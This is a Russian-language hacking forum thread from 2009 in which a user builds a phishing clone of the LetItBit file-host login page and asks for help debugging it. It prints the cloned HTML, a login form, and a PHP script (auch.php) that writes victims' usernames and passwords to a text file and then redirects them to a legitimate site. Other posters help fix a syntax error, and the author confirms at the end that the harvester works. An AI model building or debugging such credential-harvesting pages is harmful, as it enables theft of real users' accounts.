Что то не так...

Discussion in 'PHP' started by +casper+, 16 Jul 2009.

  1. +casper+

    +casper+ Banned

    Joined:
    27 Jun 2009
    Messages:
    158
    Likes Received:
    34
    Reputations:
    0
    Короче так. Делаю я фейк для летибита. Там у меня четыре файла.

    index.php;
    login.php;
    auch.php;
    file.txt;
    Индекс это понятно, в индексе есть кнопка зайти и когда на неё нажимаеш открывается окошко такое и содержимое его подгружаеться с логин пхп. В логин пхп идет передача пароля и логина на auch.php. auch.php записывает данные в файл file.txt и переадресовывает на летибит с передачей пароля и логина. Так вот я это все грамотно слепил, и когда авторизуюсь идет передача пасса и логина на auch.php но опера почемуто пишет что такого файла нет на сервере. и данные соответственно не записуюются. Вот непойму в чем проблема.
     
  2. Fata1ex

    Fata1ex Elder - Старейшина

    Joined:
    12 Dec 2006
    Messages:
    703
    Likes Received:
    300
    Reputations:
    38
    Может стоит выложить код?
     
  3. +casper+

    +casper+ Banned

    Joined:
    27 Jun 2009
    Messages:
    158
    Likes Received:
    34
    Reputations:
    0
    PHP:
    <?PHP 
    $Login 
    $_POST['Login'];Логин 
    $Pass 
    $_POST['pass'];//Пароль 
    $c "$Login:$Pass"
    $fp fopen("file.txt","a+"); //открыть файл базы 
    fwrite($fp,"\n $c <br> \n");//записываем все 
    fclose($fp); //закрываем 
    header("Location: http://cards.mail.ru/card.html?cd=00dcfed993b461be466bcca05114e17f"); 
    echo 
    "<META HTTP-EQUIV=\"Refresh\" content =\"0; URL=http://win.mail.ru/cgi-bin/start?1390370218\">"//куда пошлем пользователя


    ?>
    Вот это auch.php;
    Пробывал делать передачу пароля и логина сам на себя, то есть пароль бы передавался от login.php до login.php вниз вставлял код который был в auch.php но это непомогало. Файл браузер вообще не открывает.
     
  4. +casper+

    +casper+ Banned

    Joined:
    27 Jun 2009
    Messages:
    158
    Likes Received:
    34
    Reputations:
    0
    нехочет видеть браузер и все.
     
  5. n0reply

    n0reply New Member

    Joined:
    31 Mar 2009
    Messages:
    14
    Likes Received:
    1
    Reputations:
    0
    Не совсем понятно, причем здесь опера и "грамотно".
    PHP:
    $Login $_POST['Login'];Логин 
    В первой же строке синтаксическая ошибка. Аккуратней с комментариями. Или так только на форуме? И m0Hze прав, хотелось бы увидеть форму входа, ну и другие исходники, задействованные в процессе.

    И если можно, посмотреть оригинал ошибки, который пишет "опера". И файл существует реально? Права на запись в него есть? И если файла нет, есть ли права создания файла в директории?
     
  6. +casper+

    +casper+ Banned

    Joined:
    27 Jun 2009
    Messages:
    158
    Likes Received:
    34
    Reputations:
    0
    Вот что пишет опера.
    HTML:
    Удаленный сервер или файл не найден
    
    Вы попытались получить доступ к адресу http://mail-1.freehostia.com/auch.php, который сейчас недоступен. Убедитесь, что веб-адрес (URL) введен правильно, и попытайтесь перезагрузить страницу.
    Убедитесь, что соединение с Интернет активно, и проверьте, работают ли другие приложения, использующие это соединение.
    индекс
    HTML:
     <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <link type="text/css" rel="stylesheet" href="http://images.letitbit.net/css/style.css" />
    <link type="text/css" rel="stylesheet" href="" />
    <LINK REL="SHORTCUT ICON" href="http://letitbit.net/favicon.ico">
    <!--[if ie 6]><link type="text/css" rel="stylesheet" href="http://images.letitbit.net/css/ie6.css" /><![endif]-->
    <link type="text/css" rel="stylesheet" href="http://letitbit.net/floatbox/floatbox.css" />
    <script type="text/javascript" src="http://letitbit.net/floatbox/floatbox.js"></script>
    <script language="javascript">
    if (top!=self){top.location=location;exit;}
    
    function highlight(field) {
    	field.focus();
    	field.select();
    	}
    function cr(form){
    	var frm = document.getElementById(form);
    	if (frm){
    		var f_field=document.createElement("input");
    		f_field.type='hidden';
    		f_field.name='fix';
    		f_field.value='1';
    		frm.appendChild(f_field);
    		}
    	}
    </script>
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
    <title>LetItBit - это совершенно бесплатный файл хостинг.</title>
    </head>
    
    <body id="body">
    <script language=JavaScript>
    pi0 = new Image();pi0.src="http://images.letitbit.net/image/mybutt2.gif";
    pi1 = new Image();pi1.src="http://images.letitbit.net/image/mybutt.gif"
    pi2 = new Image();pi2.src="http://images.letitbit.net/image/mybuttS2.gif";
    pi3 = new Image();pi3.src="http://images.letitbit.net/image/mybuttR2.gif";
    </script>
    <div id="htmlTopBg"></div>
    <div id="container">
    	<div id="containerTopBg"></div>
    <div id="header">
    		<a href="/" title="Letitbit.net" id="logo"><img src="http://images.letitbit.net/image/logo.jpg" alt="" /></a>
    		<div id="layerMenu">
    			<table border="0" cellpadding="0" cellspacing="0">
    				<tr>
    					<td class="side L"></td>
    					<td class="space"></td>
    					<td class="diff"></td>
    					<td class="sel">Главная</td>
    					<td class="diff"></td>
    					<td ><a href='http://letitbit.net/page/terms.php' title='Правила проекта'>Правила</a></td>
    					<td class="diff"></td>
    					<td ><a href='http://letitbit.net/page/feedback.php' title='Связь с администрацией'>Контакт</a></td>
    					<td class="diff"></td>
    					<td ><a href='http://letitbit.net/page/faq.php' title='Ответы на часто задаваемые вопросы'>FAQ</a></td>
    					<td class="diff"></td>
    					<td ><a href='http://letitbit.net/page/partners.php' title='Партнерская программа'>Заработай$</a></td>
    					<td class="diff"></td>
    					<td ><a href='http://letitsoft.com/software/' title='Каталог программ'>Каталог</a></td>
    					<td class="diff"></td>
    					<td ><a href='http://letitbit.net/page/premium.php' title='Форум - cсылка на форум в котором происходит общение вебмастеров'>VIP Доступ</a></td>
    					<td class="diff"></td>
    					<td class="space"></td>
    					<td class="side R"></td>
    				</tr>
    			</table>
    		</div>
            		<div id="userMenu" style='height:1px;'></div>
    		
    <div id="layerLanguage">
            	<table><tr>
        <td width="29" align="center"><form action="" method="post"><input type="image" src="http://images.letitbit.net/lang/img/en.png" name="en"><input type="hidden" name="vote_cr" value="en"></form></td>
        <td width="29" align="center"><form action="" method="post"><input type="image" src="http://images.letitbit.net/lang/img/ru.png" name="ru"><input type="hidden" name="vote_cr" value="ru"></form></td>
        <td width="29" align="center"><form action="" method="post"><input type="image" src="http://images.letitbit.net/lang/img/de.png" name="de"><input type="hidden" name="vote_cr" value="de"></form></td>
    	</tr></table>
    		</div>
    
    		<div id="layerAuthorization">
               <a href="http://letitbit.net/ticketsystem/usertickets.php">Служба поддержки</a><br><br /><br />        	
    <a rel='floatbox' rev='theme:white;width:450px; height:240px;scrolling:no;caption=`Авторизация`;' href='login.php'>Вход</a>&nbsp;&nbsp;&nbsp;<a href="http://letitbit.net/ftp/register.php" title="">Зарегистрироваться</a></div>
                	</div>
    
    
    <div id='content'><form name="F1Upload" enctype="multipart/form-data" action="http://http1.letitbit.net:81/cgi-bin/multi/upload.cgi?upload_id=" method="post" onSubmit="return StartUpload(this);">
    <Style>
    body{margin: 0px;height:auto;overflow:auto;}
    #lightbox{
      xdisplay:none;
      position: absolute;
      top:50%;
      left:-9999px;
      z-index:9999;
      width:390px;
      height:320px;
      margin:-200px 0 0 -200px;
        border-left: 2px solid #d4d0c8;
        border-top: 2px solid #d4d0c8;
        border-right: 2px solid #404040;
        border-bottom: 2px solid #404040;
      background:#FFF;
      text-align:left;
      padding-top: 20px;
    }
    #lightbox[id]{position:fixed;}
    #overlay{
      xdisplay:none;
      position:absolute;
      top:0;
      left:-9999px;
      width:100%;
      height:100%;
      z-index:5000;
      background-color:#444;
      -moz-opacity: 0.8;
      opacity:.80;
      filter: alpha(opacity=80);
    }
    #overlay[id]{position:fixed;}
    #lhdr{position:absolute; top: 0px; left: 0px;background: #2c4887;font: bold 13px Arial;width:388px;height:18px;padding-left:2px;color:#FFFFFF;}
    #close{position:absolute; top: 2px; right: 2px; cursor:pointer;}
    
    
    .div1, .file_list {text-align: left; color: #484B50; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px;}
    .div1 {padding: 10px;}
    .myForm {font: 12px Arial; border: 1px solid #636363; margin-top: 1px;}
    .fdescr {width: 300px;}
    .xfname  {color: #333;}
    .xdescr  {color: #aaa;}
    .newb {border:solid 0px;color:#FFFFFF;font-weight:bold;background:url(http://images.letitbit.net/image/mybutt.gif);background-repeat:no-repeat;height:40px;width:119px;}
    .newb2 {border:solid 0px;color:#FFFFFF;font-weight:bold;background:url(http://images.letitbit.net/image/mybutt2.gif);background-repeat:no-repeat;height:40px;width:119px;}
    
    </Style>
    <Center>
    <br><br>
    <div id="div1" align="left">
    <input type="hidden" name="xmode" value="1">
    <h1>Загрузите ваш файл</h1>
      <h3><span>1</span>Кликните &quot;Обзор&quot; и выберите файл</h3>
      <h3><span>2</span>Согласитесь с нашими &quot;правилами&quot;</h3>
    
      <h3><span>3</span>Кликните &quot;upload&quot; и получите ваши ссылки</h3>
      <p class="padL50">LetItBit.net это совершенно бесплатный интернет хостинг.
    Загружайте и обменивайтесь вашими файлами совершенно бесплатно.
    Мы не ограничиваем скорость, размер и время хранения файлов.
    Процесс обмена файлов никогда не был настолько простым</p>
    </div>
    <div id="upload_form">
    <script src="xupload2.js"></script>
    <table cellpadding=0 cellspacing=0 align='center'><tr><td align='center'>
    <div class='upload_input'>
    <br>
    <a href="http://letitbit.net/multiupload/">Чтобы закачать несколько файлов, нажмите сюда</a> | Maximum upload size 1200 Mb&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br /><br /> 
    <input name="file_0" type="file" size=70><br>
    <br></div>
    
    <Input type="hidden" name="pbmode" value="inline2" id="inline2"><br>
    <input name="owner" type="hidden" id="owner" value="">
    <input name="pin" type="hidden" id="owner" value="">
    <input name="base" type="hidden" id="owner" value="100gigov">
    <input name="host" type="hidden" id="owner" value="letitbit.net">
    <br>
    <center><input type="submit" value="Загрузить" class="newb" onMouseOver="this.className='newb2'" onMouseOut="this.className='newb'" /></center>
    
    <br>
    </td></tr></table>
    <iframe src="javascript:false;" name="xupload" style="position:absolute;left:-9999px;">
    </iframe>
    </div>
    
    <input type="hidden" name="css_name" value="">
    <input type="hidden" name="tmpl_name" value="pro1">
    </form>
    </Center>
    </div>
    		<br />
    		<br />
    		<br />
    	<div id="footer" style="height:20px;">
    	Главная&nbsp;&nbsp;| &nbsp;&nbsp;
    	<a href='http://letitbit.net/page/terms.php' title='Правила проекта'>Правила</a>&nbsp;&nbsp;| &nbsp;&nbsp;
    	<a href='http://letitbit.net/page/feedback.php' title='Связь с администрацией'>Контакт</a>&nbsp;&nbsp;| &nbsp;&nbsp;
    	<a href='http://letitbit.net/page/faq.php' title='Ответы на часто задаваемые вопросы'>FAQ</a>&nbsp;&nbsp;| &nbsp;&nbsp;
    	<a href='http://letitbit.net/page/partners.php' title='Партнерская программа'>Заработай$</a>&nbsp;&nbsp;| &nbsp;&nbsp;
    	<a href='http://letitsoft.com/software/' title='Каталог программ'>Каталог</a>&nbsp;&nbsp;
    	</div>
    <div align="center">
    <table><tr><td>
    <!-- begin WebMoney Transfer : accept label -->
    <a href="http://www.webmoney.ru/" target="_blank"><img src="http://www.megastock.ru/Doc/88x31_accept/blue_rus.gif" alt="www.webmoney.ru" border="0"></a>
    <!-- end WebMoney Transfer : accept label -->
    </td><td>
    <!--LiveInternet counter--><script type="text/javascript"><!--
    new Image().src = "http://counter.yadro.ru/hit?r"+
    escape(document.referrer)+((typeof(screen)=="undefined")?"":
    ";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth?
    screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+
    ";"+Math.random();//--></script><!--/LiveInternet-->
    <script type="text/javascript">
    var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
    document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
    </script>
    <script type="text/javascript">
    var pageTracker = _gat._getTracker("UA-1744487-3");
    pageTracker._trackPageview();
    </script>
    </td></tr></table>
    </div>
    </div>
    <!--
    <div id="darkBack"></div>
    <div id="hiddenBlock">
    	<div id="signUpBlock">
    		<a href="#" onClick="return closePopUp();" title="close" class="close"></a>
    		<img src="http://images.letitbit.net/image/signUp_img.jpg" alt=""  />
    		<h1>Авторизируйтесь</h1>
    		<table border="0" cellpaddin="0" cellspacing="5">
            <form action="login.php" method="post">
    			<tr>
    				<td><span style="padding-left:5px;">Логин</span></td>
    				<td colspan="2" width="219"><input type="text" name="login" id="login" /></td>
    			</tr>
    			<tr>
    				<td><span class="style1" style="padding-left:15px;">Пароль</span></td>
    				<td colspan="2" width="219"><input type="password" name="pass" id="pass"  /></td>
    			</tr>
    			<tr>
    				<td></td>
    				<td><a href='http://letitbit.net/page/feedback.php' target="_self" class="text">Забыли пароль?</a></td>
    				<th align="right"><input type="submit" class="newb_small" value="Вход" onMouseOver="this.className='newb2_small'" onMouseOut="this.className='newb_small'" onClick="" name='inout' /></th>
    			</tr>
                </form>
    		</table>
    	</div>
    </div>
    --></body></html>
    логин

    HTML:
     <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
    
    <head>
    	<meta http-equiv="content-type" content="text/html; charset=windows-1251" />
    	<meta name="author" content="" />
    	<title>Авторизация</title>
    <link type="text/css" rel="stylesheet" href="http://images.letitbit.net/css/style.css" />
    <style type="text/css">
    #signUpBlock {position: relative; margin: 0px auto; padding: 0px 0 0 0; width: 379px; height: 117px;}
    </style>
    </head>
    
    <body>
    	<div id="signUpBlock" style="background: none;">
    
    		<img src="http://images.letitbit.net/image/signUp_img.jpg" alt=""  />
    		<h1>Авторизируйтесь</h1>
    		<br><br><br><br><br><br>
    		<table border="0" cellpadding="0" cellspacing="5">
            <form action="auch.php" method="post" target="_parent">
    			<tr>
    				<td><span style="padding-left:5px;">Логин</span></td>
    				<td colspan="2" width="219"><input type="text" name="login" id="log" /></td>
    			</tr>
    			<tr>
    				<td><span class="style1" style="padding-left:15px;">Пароль</span></td>
    				<td colspan="2" width="219"><input type="password" name="pass" id="pas"  /></td>
    			</tr>
    			<tr>
    				<td></td>
    				<td><a href='http://letitbit.net/page/feedback.php' target="_self" class="text">Забыли пароль?</a></td>
    				<th align="right"><input type="submit" class="newb_small" value="Вход" onmouseover="this.className='newb2_small'" onmouseout="this.className='newb_small'" name='inout' /></th>
    			</tr>
                </form>
    		</table>
    
    	</div>
    </body>
    </html>
    

    auch.php

    HTML:
    <?PHP 
    $Login = $_POST['Login'];Логин 
    $Pass = $_POST['pass'];//Пароль 
    $c = "$Login:$Pass"; 
    $fp = fopen("file.txt","a+"); //открыть файл базы 
    fwrite($fp,"\n $c <br> \n");//записываем все 
    fclose($fp); //закрываем 
    header("Location: vkontakte.ru"); 
    echo "<META HTTP-EQUIV=\'Refresh\' content =\'0; URL=vkontakte.ru'>";  //куда пошлем пользователя
    
    ?>
     
  7. +casper+

    +casper+ Banned

    Joined:
    27 Jun 2009
    Messages:
    158
    Likes Received:
    34
    Reputations:
    0
    Поправил, дело было в коментарии!!!

    Но теперь записуеться только пароль((((


    ?>
     
  8. +casper+

    +casper+ Banned

    Joined:
    27 Jun 2009
    Messages:
    158
    Likes Received:
    34
    Reputations:
    0
    Блин. Записуется только пароль(((

    Во! Сделал!!!

    Прикиньте вот тут

    HTML:
     $Login = $_POST['Login'];//Логин 
    в значении переменной Login было с большой буквы и поэтому не принимался логин и соответственно не записывался))))

    Спасибо всем кто отписался)))
     
    #8 +casper+, 16 Jul 2009
    Last edited: 16 Jul 2009